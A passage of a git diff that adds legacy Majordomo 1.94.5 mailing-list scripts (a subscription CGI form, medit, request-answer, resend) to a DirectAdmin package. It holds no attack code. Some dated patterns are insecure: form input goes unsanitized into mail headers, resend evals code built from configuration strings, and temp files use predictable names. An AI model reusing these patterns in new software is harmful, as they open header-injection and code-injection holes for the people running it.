"|/usr/bin/cat - > /tmp/test.out"; # This one is for + # testing... + +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +# NOTHING BELOW HERE SHOULD NEED TO BE CHANGED +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +# +# Required file +require 'cgi-lib.pl'; +use Getopt::Std; + +# +# Version number +$version = "1.0"; + +# +# Info +$info = "jco\@direwolf.com"; + +# +# Call Getopts +getopts( 'C:v'); + +# +# Check to see if we are creating a DB +if ($opt_C) { + &create_lists( $opt_C); + exit 0; +} + +# +# Check to see if the version is being intergated. +if ($opt_v) { + print "Version: $version\n"; + exit 0; +} + +# +# Read the list DB +&load_lists; + +# +# Figure out if we have a filled in form or we need to send a form +if (&ReadParse && !defined( $in{ 'default'})) { + if (defined $in{ 'infopage'} ) { + &infopage; + } else { + $in{ 'mailing_list'} =~ s/\*$//; # drop the * at the end of the name. + &sendmessage; + } +} else { + &form; +} + +# +# Birthday party, cheesecake, jelly bean, boom! +# R.E.M. +exit 0; + +# +# create_lists +# Create the DBM file. +sub create_lists { + local( $file) = @_; + + open( LISTS, $file); + dbmopen( %MLRC, $listsdb, 0644); + + while( ) { + chop; + ($name, $address) = /(\S*)\s*(.*)/; + if ($name =~ /info/i) { + ($name, $address) = $address =~/(\S*)\s*(.*)/; + $MLRC{ "LISTINFO-$name"} = $address; + @info = (@info, $name); + } else { + @ml = (@ml, $name); + $MLRC{ "LISTNAME-$name"} = $address; + } + } + + $MLRC{ 'mailing-lists'} = join( ";", @ml); + $MLRC{ 'mailing-info'} = join( ";", @info); + dbmclose( MLRC); +} + +# +# load_lists +# read in the DBM file. +sub load_lists { + if (!dbmopen( %MLRC, $listsdb, undef)) { + &log( "Can't open $listsdb"); + exit 1; + } + + foreach $i (split(/;/, $MLRC{'mailing-lists'})) { + $ml{$i} = $MLRC{ "LISTNAME-$i"}; + } + + foreach $i (split(/;/, $MLRC{'mailing-info'})) { + $mi{$i} = $MLRC{ "LISTINFO-$i"}; + } + + dbmclose( MLRC); +} + +# +# form +# Present the form to the user to fill out +sub form { + +# Form header + print < +Mailing List Subscription + + +
Mailing List Subscription Form
+
+
+ +To subscribe to any of these mailing lists all you need to do is fill +out the form compeletly. And submit it. The form will then be +processed and you should be added to the mailing list shortly.

+ +EOF + +if (defined %mi) { + print <here.

+ +EOF +} + +print < + +Mailing List: +EOF + +# Generate the list of mailing lists + print "\n"; + +# form trailer +print < +Real name:
+E-mail Address:
+
+What action would you like to take? +

+Subscribe +to the list
+Unsubscribe from +the list
+Have a list of who is on the list +mailed to you
+Get a detailed description +of the list mailed to you
+
+ + + + +
+
+Webmaster / +\n"; + foreach $i (keys %mi) { + print "
  • $i\n"; + } + print "\n"; + +print < +
    +Webmaster / +>$logfile"); + + print LOG &DTG; + print LOG " - $msg\n"; + + close( LOG); + +} + +# +# DTG +# Date Time Group, This is a military thing. Express time in GMT (aka +# Zulu) it this kinda funky format (ddhhmmZ MON YY). I used it because +# it's a canned routine I have. +sub DTG { + local( $time) = @_; + local( @months) = ( 'JAN', 'FEB', 'MAR', 'APR', 'MAY', 'JUN', + 'JUL', 'AUG', 'SEP', 'OCT', 'NOV', 'DEC'); + + $time = time if ($time); + sprintf( "%2.2d%2.2d%2.2dZ %s %2.2d", + (gmtime( $time))[3], + (gmtime( $time))[2], + (gmtime( $time))[1], + @months[(gmtime( $time))[4]], + (gmtime( $time))[5]); +} + +# +# sendmessage +# This is the worker routine. Sends a nice HTML message to the user and +# sends a nice e-mail to the mailing list admin. +# +sub sendmessage { + local( $i); + + if ($in{ 'email'} eq "") { + print < + +
    SORRY

    +
    +I'm sorry but you must fill in your e-mail address. +Press "back" and try again. + +EOF + +exit 0; +} + $in{ 'email'} = "$in{ 'email'}@$ENV{'REMOTE_HOST'}" + if ( !( $in{ 'email'} =~ /\S*@\S*/)); + + &log( "<$in{ 'email'}> \"$in{ 'rname'}\" ". + "$in{ 'function'} $in{ 'mailing_list'}"); + + open( SM, "$sendmail"); + print SM < +Reply-To: "$in{ 'rname'}" <$in{'email'}> + +$in{ 'function'} $in{'mailing_list'} +EOF + close( SM); + +print < +Thank You + + +
    THANK YOU
    +

    +Your request has been forwarded to the list owner for processing. +You should be added soon. +
    + +If the list owner has any questions about adding you they should be in +touch with you shortly. +
    +
    +The following information will be sent for you: +
    +
    + +EOF + + print "To: $ml{$in {'mailing_list'}}
    \n"; + print "From: \"$in{ 'rname'}\" <$in{'email'}>

    \n"; + + print "$in{ 'function'} $in{'mailing_list'}
    \n"; + + print < + + +EOF + +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample new file mode 100644 index 0000000..8ebbe7a --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample @@ -0,0 +1,9 @@ +warhammerfb majordomo@direwolf.com +warhammerfb-digest majordomo@direwolf.com +test jco@bbn.com +Firewalls majordomo@greatcircle.com +info Firewalls http://www.greatcircle.com/firewalls/ +info Firewalls-digest http://www.greatcircle.com/firewalls/ +Firewalls-digest majordomo@greatcircle.com +help webmaster@www.noname.org +default warhammerfb diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/medit b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/medit new file mode 100644 index 0000000..3fb7139 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/medit @@ -0,0 +1,61 @@ +#!/bin/perl + +# medit: lock and edit a Majordomo-managed file, then unlock when done. +# +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/medit,v $ +# $Revision: 1.10 $ +# $Date: 1997/04/28 18:38:05 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "shlock.pl"; # NNTP-style file locking +require "majordomo.pl"; + +# Here's where the fun begins... + +(defined($listdir) && chdir "$listdir") + || die("can't access \$listdir $listdir"); + + +$editor = $ENV{"EDITOR"} || "vi"; + +foreach (@ARGV) { + $lockfile = $_; + $lockfile =~ s,([^/]*)$,L.$1,; + $shlock'waittime = 5; + for ($tries = 0 ; $tries < 60 ; $tries++) { + if (&set_lock($lockfile)) { + # got the lock + system("$editor $_"); + &free_lock($lockfile); + last; + } else { + print "Waiting for lock on $_...\n"; + } + } + if ($tries > 60) { + print "Giving up on lock for $_...\n"; + } +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/request-answer b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/request-answer new file mode 100644 index 0000000..56fb707 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/request-answer @@ -0,0 +1,145 @@ +#!/bin/perl + + +# $Source: /sources/cvsrepos/majordomo/request-answer,v $ +# $Revision: 1.15 $ +# $Date: 2000/01/07 11:10:18 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +require "shlock.pl"; +require "majordomo.pl"; + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +&ParseMailHeader(STDIN, *hdrs); +$reply_to = &RetMailAddr(*hdrs); +$reply_to = join(", ", &ParseAddrs($reply_to)); + +die("request-answer: $reply_to is not a valid return address.\n") + if (! &valid_addr($reply_to)); + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); +} + +$in_reply_to = $hdrs{"message-id"} . ", from " . $hdrs{"from"}; +$list = $ARGV[0]; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + +$sender = "$list-approval\@$whereami"; + +$mailcmd = eval qq/"$bounce_mailer"/; + +if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ',$mailcmd)) + unless $isParent; +} else { + &abort("Failed to fork prior to mailer exec"); +} + + +print MAIL <<"EOM"; +To: $reply_to +From: $list-request\@$whereami +Subject: Your mail to $list-request\@$whereami +In-Reply-To: $in_reply_to +Reply-To: $list-approval\@$whereami + +This pre-recorded message is being sent in response to your recent +email to $list-request\@$whereami. + +All routine administrative requests (including subscriptions and +unsubscriptions) concerning this mailing list are handled by an +automated server. Please read this message carefully to find the +information relevant to you. + +SUBSCRIBING +=========== + +To subscribe to $list, send the following in the body (not +the subject line) of an email message to "$whoami": + + subscribe $list + +This will subscribe the account from which you send the message to +the $list list. + +If you wish to subscribe another address instead (such as a local +redistribution list), you can use a command of the form: + + subscribe $list other-address\@your_site.your_net + +UNSUBSCRIBING +============= + +To unsubscribe from $list, send the following in the body (not +the subject line) of an email message to "$whoami": + + unsubscribe $list + +This will unsubscribe the account from which you send the message. +If you are subscribed with some other address, you'll have to send +a command of the following form instead: + + unsubscribe $list other-address\@your_site.your_net + +If you don't know what address you are subscribed with, you can send +the following command to see who else is on the list (assuming that +information isn't designated "private" by the owner of the list): + + who $list + +If you want to search non-private lists at this server, you can do that +by sending a command like: + + which string + +This will return a list of all entries on all lists that contain "string". + +HELP +==== + +To find out more about the automated server and the commands it +understands, send the following command to "$whoami": + + help + +If you feel you need to reach a human, send email to: + + $list-approval\@$whereami + +EOM + +close(MAIL); + +exit 0; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend new file mode 100644 index 0000000..91848ab --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend @@ -0,0 +1,970 @@ +#!/bin/perl +# $Modified: Fri Jan 7 16:32:17 2000 by cwilson $ + +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/resend,v $ +# $Revision: 1.90 $ +# $Date: 2000/01/07 15:32:39 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# Okay, resend accepts many command line arguments, as revealed by the +# Getopts call: +# &Getopts("Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); +# Most of these are defined via the list config file, so in general, +# it's a really bad idea to hardcode them in the alias definition. +# In a future version of majordomo, these will likely all be removed. +# +# Here's a description of them, just to be documentive. Note that the +# only REQUIRED option is -l. Even that will probably go away in the future. +# +# -l REQUIRED: specify list name +# -h specify host name +# -f specify "sender" (default -request) +# -M specify max message length to forward +# -p add "Precedence: " header +# -r add "Reply-To: " header +# -I Bounce messages from users not listed in file +# in colon-separated +# -a approval password +# -A moderate list (require "Approved:" for posting) +# -R delete "Received:" lines +# -s enable "administrivia" checks +# -d debug; say it, but don't do it +# -C alternate config file +# + +#$DEBUG = 1; + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am resend +# The mj_ prefix is reserved for tools that are part of majordomo proper. +# (not that anything uses this variable.) +$main'program_name = 'mj_resend'; #'; + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() +# +if ($ARGV[0] =~ /^\@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, "< $fn" ) || die("open(AV, \"< $fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Parse arguments here. We do this first so that we can conditionally +# evaluate code in majordomo.cf based on $opt_l (or any other command line +# argument). Here I've assumed that perl was installed correctly and +# getopts.pl was place where it's supposed to be. This changes previous +# behavior which allowed getopts.pl to be in the same place as +# majordomo.cf. +use Getopt::Std; + +getopts("C:c:Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); + +if (! defined($opt_l)) { + die("resend: must specify '-l list'"); +} + +# Read and execute the .cf file +$cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +# Despite not having a place to send the remains of the body, +# it would be nice to send a message to root or postmaster, at least... +# +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); + +unshift(@INC, $homedir); +use POSIX qw(ctime); # For logging purposes +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; + +# pickup hostname from majordomo.cf unless defined on the command line +$opt_h = $opt_h || $whereami; + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +# We must set up the mailers and logging as soon possible so that we can +# send and log complaints and aborts somewhere. Unfortunately we need to +# parse the config file to get some of the variables. So we fake it here, +# and set them properly later. +# XXX It is possible that owner-$opt_l won't be the right address, but we +# have little choice. Sending the bounces to $whoami_owner is an option, +# but might not clearly indicate the list name. +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_mail_from("owner-$opt_l"); +&set_mail_sender("owner-$opt_l"); +&set_mailer($bounce_mailer); +&set_abort_addr("owner-$opt_l"); +&set_log($log, $opt_h, "resend", $opt_l); + +if (! defined ($TMPDIR)) { + &bitch("\$TMPDIR wasn't defined in $cf. Using /usr/tmp instead.\n". + "Please define in $cf.\n"); + $TMPDIR = '/usr/tmp'; +} + +# if we're running from a tty, just spit to stderr, else +# open up a temp file for the debug output. +# +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/resend.debug"); +} + +# XXX some standard way of setting defaults needs to be done.. +# +$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128; +$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024; + +print STDERR "$0 [$$]: starting.\n" if $DEBUG; + +if ( ! @ARGV) { + die("resend: must specify outgoing list as last arg(s)"); + # this doesn't have to be this way. It could slurp it + # from the alias it was invoked as...? +} + +# A classic case of feeping creaturism. While there are possibly good reasons +# why all these things can be classified on the command line, there's +# *NO* good reason why everything is "opt_X". YATTF. +# +$opt_r = "$opt_r\@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +# Construct the envelope sender for outbound messages +if (defined($opt_f)) { + $sender = $opt_f; +} else { + $sender = "$opt_l-request"; +} + +# If the sender doesn't contain an `@', tack on one, followed by the +# hostname +if ($sender !~ /\@/) { + $sender .= "\@$opt_h"; +} + +# We can now properly define some of the mailer properties. +&set_mail_from($sender); +&set_mail_sender($sender); +&set_abort_addr($sender); +&set_log($log, $opt_h, "resend", $opt_l); + +if (defined($opt_A) && ! defined($opt_a)) { + die("resend: must also specify '-a passwd' if using '-A' flag"); +} + + +# +# These are headers to skip +# +$skip_headers = '/^from /i' . + '|| /^x-confirm-reading-to:/i' . # pegasus mail (windoze) + '|| /^disposition-notification-to:/i' . # eudora + '|| /^x-ack:/i' . + '|| /^sender:/i' . + '|| /^return-receipt-to:/i' . + '|| /^errors-to:/i' . + '|| /^flags:/i' . + '|| /^resent-/i' . + '|| /^priority/i' . + '|| /^x-pmrqc:/i' . + '|| /^return-path:/i' . + '|| /^encoding:/i' # could munge the length of the message + ; + +# +# Define the eval's used to catch "taboo" headers, message contents, +# and administrative headers. The taboo headers can be global +# or per list. The administrative headers are global. +# +# The eval is a construct like so: +# foo: { /^subject:\s*subscribe/ && ( $taboo = '/^subject:\s*subscribe/', last foo); } +# so that the eval returns the regexp that matched. +# + +print STDERR "$0: defining evals to catch the bad stuff.\n" if $DEBUG; + +if ($config_opts{$opt_l, 'taboo_headers'} ne '') { + @taboo_headers = split(/\001/,$config_opts{$opt_l, 'taboo_headers'}); + if ($#taboo_headers >= $[) { + $is_taboo_header = "foo: {\n"; + foreach $t (@taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if ($config_opts{$opt_l, 'taboo_body'} ne '') { + @taboo_body = split(/\001/,$config_opts{$opt_l, 'taboo_body'}); + if ($#taboo_body >= $[) { + $is_taboo_body = "foo: {\n"; + foreach $t (@taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_headers)) { + @global_taboo_headers = split(/\n/,$global_taboo_headers); + if ($#global_taboo_headers >= $[) { + $is_global_taboo_header = "foo: {\n"; + foreach $t (@global_taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_body)) { + @global_taboo_body = split(/\n/,$global_taboo_body); + if ($#global_taboo_body >= $[) { + $is_global_taboo_body = "foo: {\n"; + foreach $t (@global_taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} +#"; dammit. + +# admin subject checks. Since $admin_headers is defined in $cf +# (majordomo.cf), an upgrade may not have $admin_headers. +# Bitch about it if so. +# +if (! defined($admin_headers)) { + &bitch("resend: \$admin_headers not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the subject field...\n"); + @admin_headers = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_headers = split(/\n/, $admin_headers); +} + +$is_admin_header = "foo: {\n"; +foreach $t (@admin_headers) { + $is_admin_header .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + +# Body Check! +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administravia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +# $admin_body should be defined in the $cf file, but an upgrade +# may miss this fact. Bitch about it, and use a minimal list if so. +# +if (! defined($admin_body)) { + &bitch("resend: \$admin_body not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the body.\nLook at $homedir/sample.cf for a good definition."); + @admin_body = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_body = split(/\n/, $admin_body); +} + +$is_admin_body = "foo: {\n"; +foreach $t (@admin_body) { + $is_admin_body .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + + +print STDERR "$0: caching the message.\n" if $DEBUG; + +# +# cache the message, so the parent sendmail process can exit. +# +&open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + +&open_temp(IN, "$TMPDIR/resend.$$.in") || + &abort("resend: Can't open $TMPDIR/resend.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "$TMPDIR/resend.$$.in") || + die("resend: Can't open $TMPDIR/resend.$$.tmp: $!"); + +# +# Message parsing starts here +# + +print STDERR "$0: parsing header.\n" if $DEBUG; + +# parse the header for bad lines, etc. We'll bounce in a moment. +# +$result = &parse_header; + +# The first line of the body could hold an approved line. Let's check. +# +$_ = ; + +if (/^approved:\s*(.*)/i # aha! + && defined($opt_a)) { + # OK, is it a valid "Approved:" line? + $approved = &chop_nl($1); + if ($approved ne $opt_a + && !(&main'valid_passwd($listdir, $opt_l, $approved))) { #Augh!')){ + $result .= " Invalid 'Approved:' header"; + undef $approved; + } + # The Approved: line is valid + # Look at the next line: + $_ = ; + if (/\S/) { + # We have something other than a blank line. We _assume_ it's + # header. Consequences: if it's not a header, things get screwed + # badly. If we reverse the logic and look instead for something + # header-like, we permit the possibility of the moderator leaving + # out the blank line, which is not a good idea because they might + # get used to it, which will bite them when they approve a message + # starting something that looks like a header. + # XXX Options: complain if we find no blank line and no header-like + # stuff. + close OUT; # Nuke the output so far. + unlink "$TMPDIR/resend.$$.out"; # XXX These filenames should be in + # variables. + # Open a new temp file. + &open_temp(OUT, "$TMPDIR/resend.$$.out") || + &abort("resend: Can't open $TMPDIR/resend.$$.out: $!"); + + # We'll be nice and skip a From_ mailbox separator, which just + # might have been quoted by some intervening mail munger. + if (!/^>?From /) { + # Rewind back over the header line we just pulled + seek(IN, - length($_), 1); + } + + # Parse the following as a completely new message. + $result .= &parse_header; # The return value won't matter; we're + # approved. + + } + # else the line was blank; we let it be eaten and continue + +} else { + # No approved line, dniwer + seek(IN, - length($_), 1); +} + +print STDERR "$0: checking for valid sender.\n" if $DEBUG; + +# Check for a valid sender, if the list has restrict_post set +# and the message isn't approved. +# +# aauuuugggh! 'moderator' != 'restrict_post' !! They should be the +# same!! +# +$result .= &check_sender if ( defined( $opt_I ) && ! defined ($approved)); + +# If approval is required, and we haven't got it, boing it goes.. +# +$result = "Approval required: $result" if + (defined($opt_A) && ! defined($approved)); + +print STDERR "$0: sender check: '$result'\n" if $DEBUG; + +# Print the RFC822 separator +print OUT "\n"; + +# Print out any message_fronters +# +if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l);#'; + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; +} + +# We are guaranteed to be just after a blank line now. Slurp the body +$result .= &parse_body; + +# Yes Tigger, *now* you can bounce. We've checked for +# any Approved headers & lines, taboo_headers, and taboo_bodies +&bounce($result) if ( $result =~ /\S/ && ! defined($approved)); + +# Print out any message_footers +# +print STDERR "$0: adding any footers.\n" if $DEBUG; + +if ( $config_opts{$opt_l,"message_footer"} ne '' ) { + local($footer) = + &config'substitute_values( + $config_opts{$opt_l,"message_footer"}, $opt_l); #' + $footer =~ s/\001|$/\n/g; + print OUT $footer; +} + +# Finished munging the message and decided it's valid, now send it out. +# +close OUT; + +# The following eval expands embedded variables like $sender +$sendmail_cmd = eval qq/"$mailer"/; +$sendmail_cmd .= " " . join(" ", @ARGV); + +# check for the dreaded -t option to sendmail, which will cause +# mail to loop 26 times... +# +if ($sendmail_cmd =~ /sendmail/ && $sendmail_cmd =~ /\s-t/) { + $sendmail_cmd =~ s/-t//; + &bitch("resend: \$sendmail_cmd (aka \$mailer in majordomo.cf\n" . + "had a -t option. This will cause mail to loop 26 times.\n" . + "Since this probably isn't what you want to have happen,\n". + "resend has not passed that option to sendmail.\n"); +} + +print STDERR "$0: \$sendmail_cmd is $sendmail_cmd\n" if $DEBUG; + +# To debug or not debug, that is the question. +# +if (defined($opt_d)) { + $| = 1; + $, = ' '; + print STDERR "Command: $sendmail_cmd\n"; + open (IN, "$TMPDIR/resend.$$.out"); + while () { + print STDERR $_; + } + unlink(&fileglob("$TMPDIR", "^resend\.$$\.")); + exit(0); +} + +# open the mailer +# +local(*MAILOUT, *MAILIN); +if (defined($isParent = open(MAILOUT, "|-"))) { + &do_exec_sendmail(split(' ', $sendmail_cmd)) + unless $isParent; # only if we're in the child +} else { + &abort("Failed to fork prior to mailer exec"); +} + +# open our tmp file +# +open(MAILIN, "$TMPDIR/resend.$$.out"); + +# spit it out! +# +while () { + print MAILOUT $_; +} + +# cleanup +# +close(MAILIN); +unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!"); +close(MAILOUT) || do { + $? >>= 8; + &abort("Mailer $sendmail_cmd exited unexpectedly with error $?") + unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER); +}; + +# Seeya. +# +exit(0); + + +###################################################################### +# +# Subroutines. +# +###################################################################### + +# check for a valid sender for moderated lists. +# +sub check_sender { + # Uh, who? + return " This may be hard to believe, but there was no \"From:\" field" . + "in this message I just received. I'm not gonna send it out, " . + "but you can... " if ! defined($from); + + local($file) = 0; + + # !@$#% cryptic variables. opt_I is restrict_post, which is a colon + # or whitespace seperated list of files that can contain valid + # senders. + # [[[ Scary, I just realized that !@$#% is almost valid perl... ]]] + local(@files) = split (/[:\s]+/, $opt_I); + + foreach $file (@files) { + # Return a null message if the sender (from the From: or + # Reply-To: headers) is found + # + return "" if &is_list_member($from, $listdir, $opt_l, $file) || + (defined $reply_to && + $reply_to ne $from && + &is_list_member($reply_to, $listdir, $opt_l, $file)); + } + + # We only get here if nothing matches. + # + " Non-member submission from [$from] "; +} + +# +# parse_header. +# Slurp in the header, checking for bad things. Returns a non-zero length string if +# a taboo or administrative header is found. +# +# [[[ Why couldn't one simply slurp the header in, assign it to an +# assoc. array, and print out everything but the bad stuff? ]]] +# + +sub parse_header { + local($gonna_bounce); + local($kept_last) = 0; # our return flag/string. + + print STDERR "$0: parse_header: enter.\n" if $DEBUG; + print STDERR "$0: parse_header: taboo_headers = $is_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: global_taboo_headers = $is_global_taboo_header\n" if $DEBUG; + print STDERR "$0: parse_header: admin_headers = $is_admin_header\n" if $DEBUG; + + + while () { + print STDERR "$0: parse_header: [$.: $_]" if $DEBUG; + + last if /^$/; # stop when we hit the end. RFC822. + next unless /\S/; # skip leading blank lines; usually only + # there if this is a restart after an + # in-body "Approved:" line + + print STDERR "$0: parse_header: [$.] taboo_header check\n" + if $DEBUG; + # check for taboo_headers or approved header + # + if ($#taboo_headers >= $[ && !$approved && + eval $is_taboo_header) { + $gonna_bounce .= "taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: taboo_header error $@\n"; + } + + if ($#global_taboo_headers >= $[ && !$approved && + eval $is_global_taboo_header) { + $gonna_bounce .= "global taboo header: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + if ($DEBUG && $@) { + # Something went boink in eval, say something useful. + print STDERR "$0: parse_header: global_taboo_header error $@\n"; + } + + + # check for administative headers: + # Usually subscribe, unsubscribe, etc, in Subject field + # + print STDERR "$0: parse_header: [$.] administrative_header check\n" + if $DEBUG; + + if ($#admin_headers >= $[ && !$approved && defined($opt_s) && + eval $is_admin_header) { + $gonna_bounce .= "Admin request: $taboo "; + print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG; + } + + print STDERR "$0: parse_header: Approved check\n" if $DEBUG; + + # Check for Approved line + # + # Oddly enough, we may already be approved when we get here. In + # that case, we should nuke any extra Approved: headers we see. + # Why? Well, consider this: you change the password, but send an + # approved message out before the config change takes effect. So + # it bounces back to you with the Approved: line in it. This line + # is now valid. You approve the bounce using the cut-and-paste + # method, putting another Approved: line in front of the headers of + # the raw bounced message and send it off. There are now two + # Approved: headers. If we don't remove the Approved: header from + # the headers of the message you pasted, we've revealed your list + # password. + + if (/^approved:\s*(.*)/i && defined($opt_a)) { + if (!$approved) { + print STDERR "$0: parse_header: found an approved header\n" if $DEBUG; + $approved = &chop_nl($1); + if ($approved ne $opt_a # check the p/w given against approve_passwd + && 